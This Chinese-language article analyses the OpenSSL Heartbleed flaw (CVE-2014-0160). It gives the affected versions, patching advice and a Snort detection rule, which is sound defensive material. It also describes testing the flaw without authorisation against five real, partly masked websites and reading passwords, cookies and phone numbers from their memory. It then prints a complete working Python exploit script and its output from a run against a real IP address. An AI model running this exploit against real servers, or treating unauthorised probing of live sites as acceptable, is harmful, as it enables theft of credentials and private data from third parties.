【漏洞分析】OpenSSL HeartBleed漏洞分析及POC代码

CVE-2014-0160漏洞背景

2014年4月7日OpenSSL发布了安全公告，在OpenSSL1.0.1版本中存在严重漏洞(CVE-2014-0160)。OpenSSL Heartbleed模块存在一个BUG，问题存在于ssl/dl_both.c文件中的心跳部分，当攻击者构造一个特殊的数据包，满足用户心跳包中无法提供足够多的数据会导致memcpy函数把SSLv3记录之后的数据直接输出，该漏洞导致攻击者可以远程读取存在漏洞版本的OpenSSL服务器内存中多达64K的数据。

在目前已有的资料中，国内外同行已经称本漏洞为 “击穿心脏”、“毁灭级”、“今年最严重”的漏洞。由于SSL协议是网络加密登陆认证、网络交易等的主流安全协议，而OpenSSL又是主流的SSL搭建平台。因此这些称呼好不为过，建议各网络服务提供者、管理机构和用户高度注意本漏洞的处理情况，希望广大用户做出相应的对策。

OpenSSL受影响版本的分布

根据已经公开的信息，该漏洞影响分布情况如下。

1、OpenSSL 1.0.1f (受影响)

2、OpenSSL 1.0.2-beta (受影响)

3、OpenSSL 1.0.1g (不受影响)

4、OpenSSL 1.0.0 branch (不受影响)

5、OpenSSL 0.9.8 branch (不受影响)

处置建议如下

3.1 针对网络管理员，可以做的事情包括

鉴于本漏洞的严重程度，如果确定本漏洞存在，对一般性的网络服务者，暂停服务进行处置是一种较好的应对策略。

如果确定本漏洞存在，又必须保证服务不能停止，可以在漏洞修补过程中，暂时停止https服务，改用http服务，但这会带来相关认证信息明文传输的风险，具体利害需要做出谨慎的判断权衡。

具体修补方式为：

OpenSSL版本升级到最新的1.0.1g

重新生成你的私钥

请求和替换SSL的证书

也可以使用-DOPENSSL_NO_HEARTBEATS参数重新编译低版本的OpenSSL以禁用Heartbleed模块，最新版本升级地址为：https://www.openssl.org/source/. (OpenSSL官方)

3.2 针对普通网络用户，我们郑重提出的建议包括

鉴于本漏洞的严重程度，在不能确定你所网站和服务修补了本漏洞的情况下，在未来2~3天内(2014年4月9日日起)不登陆，不操作是一种较好的应对策略(这些操作包括网购、网银支付等)。

如果你必须进行操作，可以关注这些网站和服务的修改情况。

一些手机客户端的登陆，是对SSL的封装，因此手机登录也不安全。

其他安全企业团队会公布目前仍有问题的站点、或没有问题的站点情况，请予以关注。

分析与验证

目前该漏洞的利用和验证脚本已经可以被广泛获取，地址包括。

http://fi****o.io/Heartbleed/ (web测试页面)

http://s3. ****guin.org/ssltest.py (python脚本)

http:// **.* u u.com/s/1nt3BnVB (python脚本)

尽管从安全团队的角度，我们不适宜明文传播这些地址，但我们必须提醒用户的是，几乎所有的攻击者都已经拥有了相关资源，在过去24小时内，这一漏洞已经遭到了极为广泛的探测和尝试。相信大多数有漏洞的站点均遭到了不止一次的攻击。

鉴于该漏洞的严重程度和攻击爆发事件，我们不得不打破搭建环境，测试验证的管理，

在第一时间，选择相对“轻量级”的网站做出直接验证，以分析其实际后果敏感信息。通过网络中已有的测试方法，我们寻找到几个存在问题的网站进行分析，为了避免行为失当，我们没有选择与金融、交易相关的站点。

存在问题的网站地址：

Ap***.*****.gov.cn (测试时间为2014-04-09 01:00)

my-****.in (测试时间为2014-04-09 01:10)

www.shu****.cn (测试时间为2014-04-09 01:15)

git****.com (测试时间为2014-04-09 01:20)

feng*****.com (测试时间为2014-04-09 01:30)

获取回来的相关信息情况如下：

图 1 测试网站1

通过漏洞利用工具发送数据后，返回的数据中可以看到有内网IP地址、路径等信息。

图 2 测试网站2

通过漏洞利用工具发送数据后，返回的数据中可以看到有APP信息、cookie信息和用户名信息等。

图 3 测试网站3

通过漏洞利用工具发送数据后，返回的数据中可以看到有手机号码等。

图 4 测试网站4

通过漏洞利用工具发送数据后，返回的数据中可以看到有信箱和密码等信息。

通过上面的几个网站的分析测试，发现该漏洞确实可以获取到带有敏感信息的内存内容。例如：用户的cookie信息、内网IP地址、用户名、密码、手机号、信箱等。如攻击者利用此漏洞对网络交易、证券、银行等网络进行攻击，那么将会获取到用户名、密码、银行账号等敏感信息。再次提醒网站管理员和使用SSL协议连接网站的用户请尽快按照我们的处置建议进行操作。

网络检测相关方法

通用Snort规则检测

由于众所周知的SSL协议是加密的，我们目前没有找到提取可匹配规则的方法，我们尝试编写了一条基于返回数据大小的检测规则，其有效性我们会继续验证，如果有问题欢迎反馈。

alert tcp $EXTERNAL_NET any -> $HOME_NET 443 (msg:"openssl Heartbleed attack";flow:to_server,established; content:"|18 03|"; depth: 3; byte_test:2, >, 200, 3, big; byte_test:2, <, 16385, 3, big; threshold:type limit, track by_src, count 1, seconds 600; reference:cve,2014-0160; classtype:bad-unknown; sid:20140160; rev:2;)

Snort规则说明：此次漏洞主要针对的SSL协议。是针对心跳数据包前4个字节中包含\x18\x03，而在数据包第5个字节和第6个字节的数值按大尾模式转化成数值在200和16385之间，在后面则是一些报警和过滤功能，日志记录里，每10分钟记录一次。

行为检测

从公共网络管理者的角度，可以从同一IP短时间探测多个443端口的网络连接角度进行检测。这样可以发现攻击者或肉鸡的大面积扫描行为。

另外由于攻击者可能定期性的进行数据持续获取，也可以从连接持续规律的时间性和首发数据数量的对比的角度进行检测。

POC Code

#下面的代码需要在python 2.7版本执行，3以上版本会提示print语法错误，下面这个攻击结构是提取特征的关键。

hb = h2bin('''
18 03 02 00 03
01 40 00
''')

#!/usr/bin/python


# Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])


# Modified by Derek Callaway ([email protected]) to add STARTTLS protocols


# The authors disclaim copyright to this source code.


import sys
import struct
import socket
import time
import select
import re
from optparse import OptionParser


options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')


def h2bin(x):
    return x.replace(' ', '').replace('\n', '').decode('hex')


hello = h2bin('''
16 03 02 00  dc 01 00 00 d8 03 02 53
43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
00 0f 00 01 01
''')


hb = h2bin('''
18 03 02 00 03
01 40 00
''')


def hexdump(s):
    for b in xrange(0, len(s), 16):
        lin = [c for c in s[b : b + 16]]
        hxdat = ' '.join('%02X' % ord(c) for c in lin)
        pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
        print '  %04x: %-48s %s' % (b, hxdat, pdat)
    print


def recvall(s, length, timeout=4):
    endtime = time.time() + timeout
    rdata = ''
    remain = length
    while remain > 0:
        rtime = endtime - time.time()
        if rtime < 0:
            return None
        r, w, e = select.select([s], [], [], 5)
        if s in r:
            data = s.recv(remain)
            # EOF?
            if not data:
                return None
            rdata += data
            remain -= len(data)
    return rdata




def recvmsg(s):
    hdr = recvall(s, 5)
    if hdr is None:
        print 'Unexpected EOF receiving record header - server closed connection'
        return None, None, None
    typ, ver, ln = struct.unpack('>BHH', hdr)
    pay = recvall(s, ln, 10)
    if pay is None:
        print 'Unexpected EOF receiving record payload - server closed connection'
        return None, None, None
    print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
    return typ, ver, pay


def hit_hb(s):
    s.send(hb)
    while True:
        typ, ver, pay = recvmsg(s)
        if typ is None:
            print 'No heartbeat response received, server likely not vulnerable'
            return False


        if typ == 24:
            print 'Received heartbeat response:'
            hexdump(pay)
            if len(pay) > 3:
                print 'WARNING: server returned more data than it should - server is vulnerable!'
            else:
                print 'Server processed malformed heartbeat, but did not return any extra data.'
            return True


        if typ == 21:
            print 'Received alert:'
            hexdump(pay)
            print 'Server returned error, likely not vulnerable'
            return False


BUFSIZ = 1024


def main():
    opts, args = options.parse_args()


    if len(args) < 1:
        options.print_help()
        return


    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


    print 'Connecting...'


    s.connect((args[0], opts.port))

    if opts.starttls != '':
      print 'Sending STARTTLS Protocol Command...'


    if opts.starttls == 'smtp':
      s.recv(BUFSIZ)
      s.send("EHLO openssl.client.net\n")
      s.recv(BUFSIZ)
      s.send("STARTTLS\n")
      s.recv(BUFSIZ)


    if opts.starttls == 'pop3':
      s.recv(BUFSIZ)
      s.send("STLS\n")
      s.recv(BUFSIZ)


    if opts.starttls == 'imap':
      s.recv(BUFSIZ)
      s.send("STARTTLS\n")
      s.recv(BUFSIZ)


    if opts.starttls == 'ftp':
      s.recv(BUFSIZ)
      s.send("AUTH TLS\n")
      s.recv(BUFSIZ)


    if opts.starttls == 'xmpp': # TODO: This needs SASL
      s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'\n")
      s.recv(BUFSIZ)


    print 'Sending Client Hello...'


    s.send(hello)


    print 'Waiting for Server Hello...'


    while True:
        typ, ver, pay = recvmsg(s)
        if typ == None:
            print 'Server closed connection without sending Server Hello.'
            return
        # Look for server hello done message.
        if typ == 22 and ord(pay[0]) == 0x0E:
            break


    print 'Sending heartbeat request...'
    sys.stdout.flush()
    s.send(hb)
    hit_hb(s)


if __name__ == '__main__':
    main()

验证结果：

D:\Program Files (x86)\python>heartbleed.py 101.227.244.221 -s STARTTLS
Connecting...
Sending STARTTLS Protocol Command...
Sending Client Hello...
Waiting for Server Hello...
 ... received message: type = 22, ver = 0302, length = 66
 ... received message: type = 22, ver = 0302, length = 942
 ... received message: type = 22, ver = 0302, length = 331
 ... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
 ... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:
16384


WARNING: server returned more data than it should - server is vulnerable!